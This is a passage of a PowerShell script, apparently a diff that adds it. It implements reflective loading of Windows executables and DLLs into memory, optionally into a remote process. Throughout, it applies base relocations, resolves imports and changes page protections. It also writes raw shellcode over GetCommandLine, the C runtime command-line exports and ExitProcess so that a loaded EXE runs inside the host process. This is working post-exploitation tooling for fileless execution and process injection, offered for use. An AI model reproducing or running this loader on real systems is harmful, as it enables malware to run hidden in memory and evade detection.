([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band 